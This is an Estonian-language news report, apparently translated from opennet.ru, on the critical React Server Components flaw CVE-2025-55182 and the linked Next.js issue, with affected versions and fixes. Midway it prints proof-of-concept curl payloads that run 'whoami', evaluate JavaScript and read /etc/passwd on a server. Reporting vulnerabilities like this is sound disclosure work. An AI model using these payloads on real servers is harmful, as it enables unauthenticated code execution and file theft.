Web-raamistik React'i (RSC, React Server Components) serverikomponentides on kĂ”rvaldatud haavatavus (CVE-2025-55182), mis vĂ”imaldas saata pĂ€ringu serveri töötlejale ja kĂ€ivitada juhuslik kood serveris. Haavatusele on antud kriitiline ohtu tase (10 skaalal 10). Haavatavus avaldub eksperimentaalsetes komponentides react-server-dom-webpack, react-server-dom-parcel ja react-server-dom-turbopack, mis on mĂ”eldud funktsioonide tĂ€itmiseks ja liidese elementide genereerimiseks serveris, mitte kliendipoolsel kĂŒljes.
Probleem on pĂ”hjustatud ebaturvalisest deserialiseerimisest andmete osas, mis saadakse HTTP-pĂ€ringutes serveri töötlejatele. Töötlejat âvm#runInThisContextâ, âvm#runInNewContextâ, âchild_process#execFileSyncâ ja âchild_process#execSyncâ saab kasutada kĂ€su kĂ€ivitamiseks sĂŒsteemis vĂ”i JavaScripti koodi tĂ€itmiseks praeguse protsessi kontekstis (igaĂŒks, mis ĂŒletab liivakasti isolatsiooni). Samuti on vĂ”imalik kasutada töötlejat âfs#readFileSyncâ ja âfs#writeFileSyncâ juhuslike failide lugemiseks ja kirjutamiseks, serveris, kui see on kooskĂ”las praeguste juurdepÀÀsuĂ”igustega. RĂŒnnakuks ei ole vaja autentimist. Ekspluateerimise prototĂŒĂŒp on saadaval. # KĂ€ivita kĂ€sk whoami curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={«id»:«child_process#execSync»,«bound»:[«whoami»]}â # JavaScripti koodi tĂ€itmine 1+1 curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={«id»:«vm#runInThisContext»,«bound»:[«1+1»]}â # Faili lugemine /etc/passwd curl -X POST http://localhost:3002/formaction \ -F â$ACTION_REF_0=â \ -F â$ACTION_0:0={«id»:«fs#readFileSync»,«bound»:[«/etc/passwd»,«utf8âł]}â
SĂŒsteemide haavatavus sĂ”ltub haavatavate serverikomponentide react-server-dom-webpack, react-server-dom-parcel ja react-server-dom-turbopack kasutamisest. Rakendusi, mis ei kasuta react-server'i, see haavatavus ei puuduta. Haavatavuse leviku aste tööprotsessides, kus React'i kasutatakse, ei ole veel selge. Ăhelt poolt on React ĂŒks populaarsemaid web-raamistikke (kasutatakse umbes 6% veebilehtedest) ja haavatavad komponendid arenevad peamiselt ametlikus hoidlas ning sisalduvad vabanemise koosseisus. Haavatavaid komponente toetatakse ka React'ile pĂ”hinevates raamistikutes, nagu Next.js ja react-router. Wiz Researchi andmetel on haavatavad eksemplarid tuvastatud 39% analĂŒĂŒsitud pilves keskkondades.
Teiselt poolt, sisu genereerimine serveris lĂ€bi React Server Komponendid on harva kasutatav funktsioon (enamus React-i saite renderdavad liidese vaid kliendi poolel), ning haavatavad komponendid on mĂ€rgitud eksperimentaalsetena, mis ei garanteeri korrektset toimimist. Nendel komponentidel on suhteliselt vĂ€he otseseid allalaadimisi NPM-i hoidlast: react-server-dom-webpack â 670 tuhat nĂ€dalas, react-server-dom-parcel â 7 tuhat ja react-server-dom-turbopack â 32 tuhat; vĂ”rdluseks, NPM-i pakett React omab 45 miljonit allalaadimist nĂ€dalas.
Haavatavus esineb React-i versioonides 9.0.0, 19.1.0, 19.1.1 ja 19.2.0 ning on kÔrvaldatud uuendustes React 19.0.1, 19.1.2 ja 19.2.1. Haavatavaid komponente kasutatakse ka pakettides Next.js (16 miljonit allalaadimist nÀdalas), react-router (20 miljonit allalaadimist nÀdalas), waku, @parcel/rsc, @vitejs/plugin-rsc ja rwsdk.
Next.js raamistikus on haavatavus (CVE-2025-66478) seotud rakendustega, mis kasutavad App Router ja Next.js versioone 15.x ja 16.x. On vÀidetud, et haavatavus avaldub Next.js vaikekonfiguratsioonis (vaikemudeli rakendus, mis luuakse utiliidiga create-next-app, on haavatav). Kasutajatele soovitatakse vÔimalikult kiiresti installida uuendus Next.js versioonides 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 vÔi 16.0.7.
Allikas: opennet.ru
